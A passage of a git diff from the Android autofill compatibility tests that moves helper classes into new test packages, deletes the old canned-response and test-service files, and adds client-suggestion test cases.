- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.augmented.AugmentedHelper.getContentDescriptionForUi;
-
-import android.autofillservice.cts.R;
-import android.content.Context;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.service.autofill.InlinePresentation;
-import android.service.autofill.augmented.FillCallback;
-import android.service.autofill.augmented.FillController;
-import android.service.autofill.augmented.FillRequest;
-import android.service.autofill.augmented.FillResponse;
-import android.service.autofill.augmented.FillWindow;
-import android.service.autofill.augmented.PresentationParams;
-import android.service.autofill.augmented.PresentationParams.Area;
-import android.util.ArrayMap;
-import android.util.Log;
-import android.util.Pair;
-import android.view.LayoutInflater;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.TextView;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import java.util.stream.Collectors;
-
-/**
- * Helper class used to produce a {@link FillResponse}.
- */
-public final class CannedAugmentedFillResponse {
-
-    private static final String TAG = CannedAugmentedFillResponse.class.getSimpleName();
-
-    public static final String CLIENT_STATE_KEY = "clientStateKey";
-    public static final String CLIENT_STATE_VALUE = "clientStateValue";
-
-    private final AugmentedResponseType mResponseType;
-    private final Map<AutofillId, Dataset> mDatasets;
-    private long mDelay;
-    private final Dataset mOnlyDataset;
-    private final @Nullable List<Dataset> mInlineSuggestions;
-
-    private CannedAugmentedFillResponse(@NonNull Builder builder) {
-        mResponseType = builder.mResponseType;
-        mDatasets = builder.mDatasets;
-        mDelay = builder.mDelay;
-        mOnlyDataset = builder.mOnlyDataset;
-        mInlineSuggestions = builder.mInlineSuggestions;
-    }
-
-    /**
-     * Constant used to pass a {@code null} response to the
-     * {@link FillCallback#onSuccess(FillResponse)} method.
-     */
-    public static final CannedAugmentedFillResponse NO_AUGMENTED_RESPONSE =
-            new Builder(AugmentedResponseType.NULL).build();
-
-    /**
-     * Constant used to emulate a timeout by not calling any method on {@link FillCallback}.
-     */
-    public static final CannedAugmentedFillResponse DO_NOT_REPLY_AUGMENTED_RESPONSE =
-            new Builder(AugmentedResponseType.TIMEOUT).build();
-
-    public AugmentedResponseType getResponseType() {
-        return mResponseType;
-    }
-
-    public long getDelay() {
-        return mDelay;
-    }
-
-    /**
-     * Creates the "real" response.
-     */
-    public FillResponse asFillResponse(@NonNull Context context, @NonNull FillRequest request,
-            @NonNull FillController controller) {
-        final AutofillId focusedId = request.getFocusedId();
-
-        final Dataset dataset;
-        if (mOnlyDataset != null) {
-            dataset = mOnlyDataset;
-        } else {
-            dataset = mDatasets.get(focusedId);
-        }
-        if (dataset == null) {
-            Log.d(TAG, "no dataset for field " + focusedId);
-            return null;
-        }
-
-        Log.d(TAG, "asFillResponse: id=" + focusedId + ", dataset=" + dataset);
-
-        final PresentationParams presentationParams = request.getPresentationParams();
-        if (presentationParams == null) {
-            Log.w(TAG, "No PresentationParams");
-            return null;
-        }
-
-        final Area strip = presentationParams.getSuggestionArea();
-        if (strip == null) {
-            Log.w(TAG, "No suggestion strip");
-            return null;
-        }
-
-        if (mInlineSuggestions != null) {
-            return createResponseWithInlineSuggestion();
-        }
-
-        final LayoutInflater inflater = LayoutInflater.from(context);
-        final TextView rootView = (TextView) inflater.inflate(R.layout.augmented_autofill_ui, null);
-
-        Log.d(TAG, "Setting autofill UI text to:" + dataset.mPresentation);
-        rootView.setText(dataset.mPresentation);
-
-        rootView.setContentDescription(getContentDescriptionForUi(focusedId));
-        final FillWindow fillWindow = new FillWindow();
-        rootView.setOnClickListener((v) -> {
-            Log.d(TAG, "Destroying window first");
-            fillWindow.destroy();
-            final List<Pair<AutofillId, AutofillValue>> values;
-            final AutofillValue onlyValue = dataset.getOnlyFieldValue();
-            if (onlyValue != null) {
-                Log.i(TAG, "Autofilling only value for " + focusedId + " as " + onlyValue);
-                values = new ArrayList<>(1);
-                values.add(new Pair<AutofillId, AutofillValue>(focusedId, onlyValue));
-            } else {
-                values = dataset.getValues();
-                Log.i(TAG, "Autofilling: " + AugmentedHelper.toString(values));
-            }
-            controller.autofill(values);
-        });
-
-        boolean ok = fillWindow.update(strip, rootView, 0);
-        if (!ok) {
-            Log.w(TAG, "FillWindow.update() failed for " + strip + " and " + rootView);
-            return null;
-        }
-
-        return new FillResponse.Builder().setFillWindow(fillWindow).build();
-    }
-
-    @Override
-    public String toString() {
-        return "CannedAugmentedFillResponse: [type=" + mResponseType
-                + ", onlyDataset=" + mOnlyDataset
-                + ", datasets=" + mDatasets
-                + "]";
-    }
-
-    public enum AugmentedResponseType {
-        NORMAL,
-        NULL,
-        TIMEOUT,
-    }
-
-    private Bundle newClientState() {
-        Bundle b = new Bundle();
-        b.putString(CLIENT_STATE_KEY, CLIENT_STATE_VALUE);
-        return b;
-    }
-
-    private FillResponse createResponseWithInlineSuggestion() {
-        List<android.service.autofill.Dataset> list = new ArrayList<>();
-        for (Dataset dataset : mInlineSuggestions) {
-            if (!dataset.getValues().isEmpty()) {
-                android.service.autofill.Dataset.Builder datasetBuilder =
-                        new android.service.autofill.Dataset.Builder();
-                for (Pair<AutofillId, AutofillValue> pair : dataset.getValues()) {
-                    final AutofillId id = pair.first;
-                    datasetBuilder.setFieldInlinePresentation(id, pair.second, null,
-                            dataset.mFieldPresentationById.get(id));
-                    datasetBuilder.setAuthentication(dataset.mAuthentication);
-                }
-                list.add(datasetBuilder.build());
-            }
-        }
-        return new FillResponse.Builder().setInlineSuggestions(list).setClientState(
-                newClientState()).build();
-    }
-
-    public static final class Builder {
-        private final Map<AutofillId, Dataset> mDatasets = new ArrayMap<>();
-        private final AugmentedResponseType mResponseType;
-        private long mDelay;
-        private Dataset mOnlyDataset;
-        private @Nullable List<Dataset> mInlineSuggestions;
-
-        public Builder(@NonNull AugmentedResponseType type) {
-            mResponseType = type;
-        }
-
-        public Builder() {
-            this(AugmentedResponseType.NORMAL);
-        }
-
-        /**
-         * Sets the {@link Dataset} that will be filled when the given {@code ids} is focused and
-         * the UI is tapped.
-         */
-        @NonNull
-        public Builder setDataset(@NonNull Dataset dataset, @NonNull AutofillId... ids) {
-            if (mOnlyDataset != null) {
-                throw new IllegalStateException("already called setOnlyDataset()");
-            }
-            for (AutofillId id : ids) {
-                mDatasets.put(id, dataset);
-            }
-            return this;
-        }
-
-        /**
-         * The {@link android.service.autofill.Dataset}s representing the inline suggestions data.
-         * Defaults to null if no inline suggestions are available from the service.
-         */
-        @NonNull
-        public Builder addInlineSuggestion(@NonNull Dataset dataset) {
-            if (mInlineSuggestions == null) {
-                mInlineSuggestions = new ArrayList<>();
-            }
-            mInlineSuggestions.add(dataset);
-            return this;
-        }
-
-        /**
-         * Sets the delay for onFillRequest().
-         */
-        public Builder setDelay(long delay) {
-            mDelay = delay;
-            return this;
-        }
-
-        /**
-         * Sets the only dataset that will be returned.
-         *
-         * <p>Used when the test case doesn't know the autofill id of the focused field.
-         * @param dataset
-         */
-        @NonNull
-        public Builder setOnlyDataset(@NonNull Dataset dataset) {
-            if (!mDatasets.isEmpty()) {
-                throw new IllegalStateException("already called setDataset()");
-            }
-            mOnlyDataset = dataset;
-            return this;
-        }
-
-        @NonNull
-        public CannedAugmentedFillResponse build() {
-            return new CannedAugmentedFillResponse(this);
-        }
-    } // CannedAugmentedFillResponse.Builder
-
-
-    /**
-     * Helper class used to define which fields will be autofilled when the user taps the Augmented
-     * Autofill UI.
-     */
-    public static class Dataset {
-        private final Map<AutofillId, AutofillValue> mFieldValuesById;
-        private final Map<AutofillId, InlinePresentation> mFieldPresentationById;
-        private final String mPresentation;
-        private final AutofillValue mOnlyFieldValue;
-        private final IntentSender mAuthentication;
-
-        private Dataset(@NonNull Builder builder) {
-            mFieldValuesById = builder.mFieldValuesById;
-            mPresentation = builder.mPresentation;
-            mOnlyFieldValue = builder.mOnlyFieldValue;
-            mFieldPresentationById = builder.mFieldPresentationById;
-            this.mAuthentication = builder.mAuthentication;
-        }
-
-        @NonNull
-        public List<Pair<AutofillId, AutofillValue>> getValues() {
-            return mFieldValuesById.entrySet().stream()
-                    .map((entry) -> (new Pair<>(entry.getKey(), entry.getValue())))
-                    .collect(Collectors.toList());
-        }
-
-        @Nullable
-        public AutofillValue getOnlyFieldValue() {
-            return mOnlyFieldValue;
-        }
-
-        @Override
-        public String toString() {
-            return "Dataset: [presentation=" + mPresentation
-                    + ", onlyField=" + mOnlyFieldValue
-                    + ", fields=" + mFieldValuesById
-                    + ", auth=" + mAuthentication
-                    + "]";
-        }
-
-        public static class Builder {
-            private final Map<AutofillId, AutofillValue> mFieldValuesById = new ArrayMap<>();
-            private final Map<AutofillId, InlinePresentation> mFieldPresentationById =
-                    new ArrayMap<>();
-
-            private final String mPresentation;
-            private AutofillValue mOnlyFieldValue;
-            private IntentSender mAuthentication;
-
-            public Builder(@NonNull String presentation) {
-                mPresentation = Objects.requireNonNull(presentation);
-            }
-
-            /**
-             * Sets the value that will be autofilled on the field with {@code id}.
-             */
-            public Builder setField(@NonNull AutofillId id, @NonNull String text) {
-                if (mOnlyFieldValue != null) {
-                    throw new IllegalStateException("already called setOnlyField()");
-                }
-                mFieldValuesById.put(id, AutofillValue.forText(text));
-                return this;
-            }
-
-            /**
-             * Sets the value that will be autofilled on the field with {@code id}.
-             */
-            public Builder setField(@NonNull AutofillId id, @NonNull String text,
-                    @NonNull InlinePresentation presentation) {
-                if (mOnlyFieldValue != null) {
-                    throw new IllegalStateException("already called setOnlyField()");
-                }
-                mFieldValuesById.put(id, AutofillValue.forText(text));
-                mFieldPresentationById.put(id, presentation);
-                return this;
-            }
-
-            /**
-             * Sets this dataset to return the given {@code text} for the focused field.
-             *
-             * <p>Used when the test case doesn't know the autofill id of the focused field.
-             */
-            public Builder setOnlyField(@NonNull String text) {
-                if (!mFieldValuesById.isEmpty()) {
-                    throw new IllegalStateException("already called setField()");
-                }
-                mOnlyFieldValue = AutofillValue.forText(text);
-                return this;
-            }
-
-            /**
-             * Sets the authentication intent for this dataset.
-             */
-            public Builder setAuthentication(IntentSender authentication) {
-                mAuthentication = authentication;
-                return this;
-            }
-
-            public Dataset build() {
-                return new Dataset(this);
-            }
-        } // Dataset.Builder
-    } // Dataset
-} // CannedAugmentedFillResponse
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/ClipboardAccessTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/ClipboardAccessTest.java
index e002d3e..1a02332 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/ClipboardAccessTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/ClipboardAccessTest.java
@@ -20,6 +20,7 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.autofillservice.cts.commontests.AugmentedAutofillManualActivityLaunchTestCase;
 import android.content.ClipData;
 import android.content.ClipboardManager;
 import android.platform.test.annotations.AppModeFull;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/CtsAugmentedAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/CtsAugmentedAutofillService.java
deleted file mode 100644
index 3604955..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/CtsAugmentedAutofillService.java
+++ /dev/null
@@ -1,443 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.Timeouts.FILL_EVENTS_TIMEOUT;
-import static android.autofillservice.cts.augmented.AugmentedHelper.await;
-import static android.autofillservice.cts.augmented.AugmentedHelper.getActivityName;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_CONNECTION_TIMEOUT;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.AugmentedResponseType.NULL;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.AugmentedResponseType.TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.Helper;
-import android.content.ComponentName;
-import android.content.Context;
-import android.os.CancellationSignal;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.SystemClock;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.augmented.AugmentedAutofillService;
-import android.service.autofill.augmented.FillCallback;
-import android.service.autofill.augmented.FillController;
-import android.service.autofill.augmented.FillRequest;
-import android.service.autofill.augmented.FillResponse;
-import android.util.ArraySet;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.TestNameUtils;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Implementation of {@link AugmentedAutofillService} used in the tests.
- */
-public class CtsAugmentedAutofillService extends AugmentedAutofillService {
-
-    private static final String TAG = CtsAugmentedAutofillService.class.getSimpleName();
-
-    public static final String SERVICE_PACKAGE = Helper.MY_PACKAGE;
-    public static final String SERVICE_CLASS = CtsAugmentedAutofillService.class.getSimpleName();
-
-    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/.augmented." + SERVICE_CLASS;
-
-    private static final AugmentedReplier sAugmentedReplier = new AugmentedReplier();
-
-    // We must handle all requests in a separate thread as the service's main thread is the also
-    // the UI thread of the test process and we don't want to hose it in case of failures here
-    private static final HandlerThread sMyThread = new HandlerThread("MyAugmentedServiceThread");
-    private final Handler mHandler;
-
-    private final CountDownLatch mConnectedLatch = new CountDownLatch(1);
-    private final CountDownLatch mDisconnectedLatch = new CountDownLatch(1);
-
-    private static ServiceWatcher sServiceWatcher;
-
-    static {
-        Log.i(TAG, "Starting thread " + sMyThread);
-        sMyThread.start();
-    }
-
-    public CtsAugmentedAutofillService() {
-        mHandler = Handler.createAsync(sMyThread.getLooper());
-    }
-
-    @NonNull
-    public static ServiceWatcher setServiceWatcher() {
-        if (sServiceWatcher != null) {
-            throw new IllegalStateException("There Can Be Only One!");
-        }
-        sServiceWatcher = new ServiceWatcher();
-        return sServiceWatcher;
-    }
-
-
-    public static void resetStaticState() {
-        List<Throwable> exceptions = sAugmentedReplier.mExceptions;
-        if (exceptions != null) {
-            exceptions.clear();
-        }
-        // TODO(b/123540602): should probably set sInstance to null as well, but first we would need
-        // to make sure each test unbinds the service.
-
-        // TODO(b/123540602): each test should use a different service instance, but we need
-        // to provide onConnected() / onDisconnected() methods first and then change the infra so
-        // we can wait for those
-
-        if (sServiceWatcher != null) {
-            Log.wtf(TAG, "resetStaticState(): should not have sServiceWatcher");
-            sServiceWatcher = null;
-        }
-    }
-
-    @Override
-    public void onConnected() {
-        Log.i(TAG, "onConnected(): sServiceWatcher=" + sServiceWatcher);
-
-        if (sServiceWatcher == null) {
-            addException("onConnected() without a watcher");
-            return;
-        }
-
-        if (sServiceWatcher.mService != null) {
-            addException("onConnected(): already created: %s", sServiceWatcher);
-            return;
-        }
-
-        sServiceWatcher.mService = this;
-        sServiceWatcher.mCreated.countDown();
-
-        Log.d(TAG, "Whitelisting " + Helper.MY_PACKAGE + " for augmented autofill");
-        final ArraySet<String> packages = new ArraySet<>(1);
-        packages.add(Helper.MY_PACKAGE);
-
-        final AutofillManager afm = getApplication().getSystemService(AutofillManager.class);
-        if (afm == null) {
-            addException("No AutofillManager on application context on onConnected()");
-            return;
-        }
-        afm.setAugmentedAutofillWhitelist(packages, /* activities= */ null);
-
-        if (mConnectedLatch.getCount() == 0) {
-            addException("already connected: %s", mConnectedLatch);
-        }
-        mConnectedLatch.countDown();
-    }
-
-    @Override
-    public void onDisconnected() {
-        Log.i(TAG, "onDisconnected(): sServiceWatcher=" + sServiceWatcher);
-
-        if (mDisconnectedLatch.getCount() == 0) {
-            addException("already disconnected: %s", mConnectedLatch);
-        }
-        mDisconnectedLatch.countDown();
-
-        if (sServiceWatcher == null) {
-            addException("onDisconnected() without a watcher");
-            return;
-        }
-        if (sServiceWatcher.mService == null) {
-            addException("onDisconnected(): no service on %s", sServiceWatcher);
-            return;
-        }
-
-        sServiceWatcher.mDestroyed.countDown();
-        sServiceWatcher.mService = null;
-        sServiceWatcher = null;
-    }
-
-    public FillEventHistory getFillEventHistory(int expectedSize) throws Exception {
-        return FILL_EVENTS_TIMEOUT.run("getFillEvents(" + expectedSize + ")", () -> {
-            final FillEventHistory history = getFillEventHistory();
-            if (history == null) {
-                return null;
-            }
-            final List<Event> events = history.getEvents();
-            if (events != null) {
-                assertWithMessage("Didn't get " + expectedSize + " events yet: " + events).that(
-                        events.size()).isEqualTo(expectedSize);
-            } else {
-                assertWithMessage("Events is null (expecting " + expectedSize + ")").that(
-                        expectedSize).isEqualTo(0);
-                return null;
-            }
-            return history;
-        });
-    }
-
-    /**
-     * Waits until the system calls {@link #onConnected()}.
-     */
-    public void waitUntilConnected() throws InterruptedException {
-        await(mConnectedLatch, "not connected");
-    }
-
-    /**
-     * Waits until the system calls {@link #onDisconnected()}.
-     */
-    public void waitUntilDisconnected() throws InterruptedException {
-        await(mDisconnectedLatch, "not disconnected");
-    }
-
-    @Override
-    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
-            FillController controller, FillCallback callback) {
-        Log.i(TAG, "onFillRequest(): " + AugmentedHelper.toString(request));
-
-        final ComponentName component = request.getActivityComponent();
-
-        if (!TestNameUtils.isRunningTest()) {
-            Log.e(TAG, "onFillRequest(" + component + ") called after tests finished");
-            return;
-        }
-        mHandler.post(() -> sAugmentedReplier.handleOnFillRequest(getApplicationContext(), request,
-                cancellationSignal, controller, callback));
-    }
-
-    /**
-     * Gets the {@link AugmentedReplier} singleton.
-     */
-    static AugmentedReplier getAugmentedReplier() {
-        return sAugmentedReplier;
-    }
-
-    private static void addException(@NonNull String fmt, @Nullable Object...args) {
-        final String msg = String.format(fmt, args);
-        Log.e(TAG, msg);
-        sAugmentedReplier.addException(new IllegalStateException(msg));
-    }
-
-    /**
-     * POJO representation of the contents of a {@link FillRequest}
-     * that can be asserted at the end of a test case.
-     */
-    public static final class AugmentedFillRequest {
-        public final FillRequest request;
-        public final CancellationSignal cancellationSignal;
-        public final FillController controller;
-        public final FillCallback callback;
-
-        private AugmentedFillRequest(FillRequest request, CancellationSignal cancellationSignal,
-                FillController controller, FillCallback callback) {
-            this.request = request;
-            this.cancellationSignal = cancellationSignal;
-            this.controller = controller;
-            this.callback = callback;
-        }
-
-        @Override
-        public String toString() {
-            return "AugmentedFillRequest[activity=" + getActivityName(request) + ", request="
-                    + AugmentedHelper.toString(request) + "]";
-        }
-    }
-
-    /**
-     * Object used to answer a
-     * {@link AugmentedAutofillService#onFillRequest(FillRequest, CancellationSignal,
-     * FillController, FillCallback)} on behalf of a unit test method.
-     */
-    public static final class AugmentedReplier {
-
-        private final BlockingQueue<CannedAugmentedFillResponse> mResponses =
-                new LinkedBlockingQueue<>();
-        private final BlockingQueue<AugmentedFillRequest> mFillRequests =
-                new LinkedBlockingQueue<>();
-
-        private List<Throwable> mExceptions;
-        private boolean mReportUnhandledFillRequest = true;
-
-        private AugmentedReplier() {
-        }
-
-        /**
-         * Gets the exceptions thrown asynchronously, if any.
-         */
-        @Nullable
-        public List<Throwable> getExceptions() {
-            return mExceptions;
-        }
-
-        private void addException(@Nullable Throwable e) {
-            if (e == null) return;
-
-            if (mExceptions == null) {
-                mExceptions = new ArrayList<>();
-            }
-            mExceptions.add(e);
-        }
-
-        /**
-         * Sets the expectation for the next {@code onFillRequest}.
-         */
-        public AugmentedReplier addResponse(@NonNull CannedAugmentedFillResponse response) {
-            if (response == null) {
-                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
-            }
-            mResponses.add(response);
-            return this;
-        }
-        /**
-         * Gets the next fill request, in the order received.
-         */
-        public AugmentedFillRequest getNextFillRequest() {
-            AugmentedFillRequest request;
-            try {
-                request = mFillRequests.poll(AUGMENTED_FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                throw new IllegalStateException("Interrupted", e);
-            }
-            if (request == null) {
-                throw new RetryableException(AUGMENTED_FILL_TIMEOUT, "onFillRequest() not called");
-            }
-            return request;
-        }
-
-        /**
-         * Asserts all {@link AugmentedAutofillService#onFillRequest(FillRequest,
-         * CancellationSignal, FillController, FillCallback)} received by the service were properly
-         * {@link #getNextFillRequest() handled} by the test case.
-         */
-        public void assertNoUnhandledFillRequests() {
-            if (mFillRequests.isEmpty()) return; // Good job, test case!
-
-            if (!mReportUnhandledFillRequest) {
-                // Just log, so it's not thrown again on @After if already thrown on main body
-                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
-                        + "but logging just in case: " + mFillRequests);
-                return;
-            }
-
-            mReportUnhandledFillRequest = false;
-            throw new AssertionError(mFillRequests.size() + " unhandled fill requests: "
-                    + mFillRequests);
-        }
-
-        /**
-         * Gets the current number of unhandled requests.
-         */
-        public int getNumberUnhandledFillRequests() {
-            return mFillRequests.size();
-        }
-
-        /**
-         * Resets its internal state.
-         */
-        public void reset() {
-            mResponses.clear();
-            mFillRequests.clear();
-            mExceptions = null;
-            mReportUnhandledFillRequest = true;
-        }
-
-        private void handleOnFillRequest(@NonNull Context context, @NonNull FillRequest request,
-                @NonNull CancellationSignal cancellationSignal, @NonNull FillController controller,
-                @NonNull FillCallback callback) {
-            final AugmentedFillRequest myRequest = new AugmentedFillRequest(request,
-                    cancellationSignal, controller, callback);
-            Log.d(TAG, "offering " + myRequest);
-            Helper.offer(mFillRequests, myRequest, AUGMENTED_CONNECTION_TIMEOUT.ms());
-            try {
-                final CannedAugmentedFillResponse response;
-                try {
-                    response = mResponses.poll(AUGMENTED_CONNECTION_TIMEOUT.ms(),
-                            TimeUnit.MILLISECONDS);
-                } catch (InterruptedException e) {
-                    Log.w(TAG, "Interrupted getting CannedAugmentedFillResponse: " + e);
-                    Thread.currentThread().interrupt();
-                    addException(e);
-                    return;
-                }
-                if (response == null) {
-                    Log.w(TAG, "onFillRequest() for " + getActivityName(request)
-                            + " received when no canned response was set.");
-                    return;
-                }
-
-                // sleep for timeout tests.
-                final long delay = response.getDelay();
-                if (delay > 0) {
-                    SystemClock.sleep(response.getDelay());
-                }
-
-                if (response.getResponseType() == NULL) {
-                    Log.d(TAG, "onFillRequest(): replying with null");
-                    callback.onSuccess(null);
-                    return;
-                }
-
-                if (response.getResponseType() == TIMEOUT) {
-                    Log.d(TAG, "onFillRequest(): not replying at all");
-                    return;
-                }
-
-                Log.v(TAG, "onFillRequest(): response = " + response);
-                final FillResponse fillResponse = response.asFillResponse(context, request,
-                        controller);
-                Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
-                callback.onSuccess(fillResponse);
-            } catch (Throwable t) {
-                addException(t);
-            }
-        }
-    }
-
-    public static final class ServiceWatcher {
-
-        private final CountDownLatch mCreated = new CountDownLatch(1);
-        private final CountDownLatch mDestroyed = new CountDownLatch(1);
-
-        private CtsAugmentedAutofillService mService;
-
-        @NonNull
-        public CtsAugmentedAutofillService waitOnConnected() throws InterruptedException {
-            await(mCreated, "not created");
-
-            if (mService == null) {
-                throw new IllegalStateException("not created");
-            }
-
-            return mService;
-        }
-
-        public void waitOnDisconnected() throws InterruptedException {
-            await(mDestroyed, "not destroyed");
-        }
-
-        @Override
-        public String toString() {
-            return "mService: " + mService + " created: " + (mCreated.getCount() == 0)
-                    + " destroyed: " + (mDestroyed.getCount() == 0);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/DisableAutofillTest.java
index 366cf60..4d4b186 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/DisableAutofillTest.java
@@ -16,13 +16,15 @@
 
 package android.autofillservice.cts.augmented;
 
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
-import static android.autofillservice.cts.augmented.AugmentedHelper.resetAugmentedService;
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.AugmentedHelper.resetAugmentedService;
 
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.PreSimpleSaveActivity;
-import android.autofillservice.cts.SimpleSaveActivity;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillManualActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiObject2;
 import android.view.autofill.AutofillId;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/client/ClientSuggestionsInlineTest.java b/tests/autofillservice/src/android/autofillservice/cts/client/ClientSuggestionsInlineTest.java
new file mode 100644
index 0000000..9b5a907
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/client/ClientSuggestionsInlineTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.client;
+
+import android.autofillservice.cts.commontests.ClientSuggestionsCommonTestCase;
+
+/**
+ * Tests client suggestions behaviors for the inline mode.
+ */
+public class ClientSuggestionsInlineTest extends ClientSuggestionsCommonTestCase {
+
+    public ClientSuggestionsInlineTest() {
+        super(getInlineUiBot());
+    }
+
+    @Override
+    protected boolean isInlineMode() {
+        return true;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/client/ClientSuggestionsTest.java b/tests/autofillservice/src/android/autofillservice/cts/client/ClientSuggestionsTest.java
new file mode 100644
index 0000000..895ec3a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/client/ClientSuggestionsTest.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.client;
+
+import android.autofillservice.cts.commontests.ClientSuggestionsCommonTestCase;
+
+/**
+ * Tests client suggestions behaviors for the dropdown mode.
+ */
+public class ClientSuggestionsTest extends ClientSuggestionsCommonTestCase {
+
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractGridActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractGridActivityTestCase.java
new file mode 100644
index 0000000..e23a59d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractGridActivityTestCase.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import android.autofillservice.cts.activities.GridActivity;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.autofillservice.cts.testcore.WindowChangeTimeoutException;
+import android.view.accessibility.AccessibilityEvent;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Base class for test cases using {@link GridActivity}.
+ */
+public abstract class AbstractGridActivityTestCase
+        extends AutoFillServiceTestCase.AutoActivityLaunch<GridActivity> {
+
+    protected GridActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<GridActivity> getActivityRule() {
+        return new AutofillActivityTestRule<GridActivity>(GridActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+                postActivityLaunched();
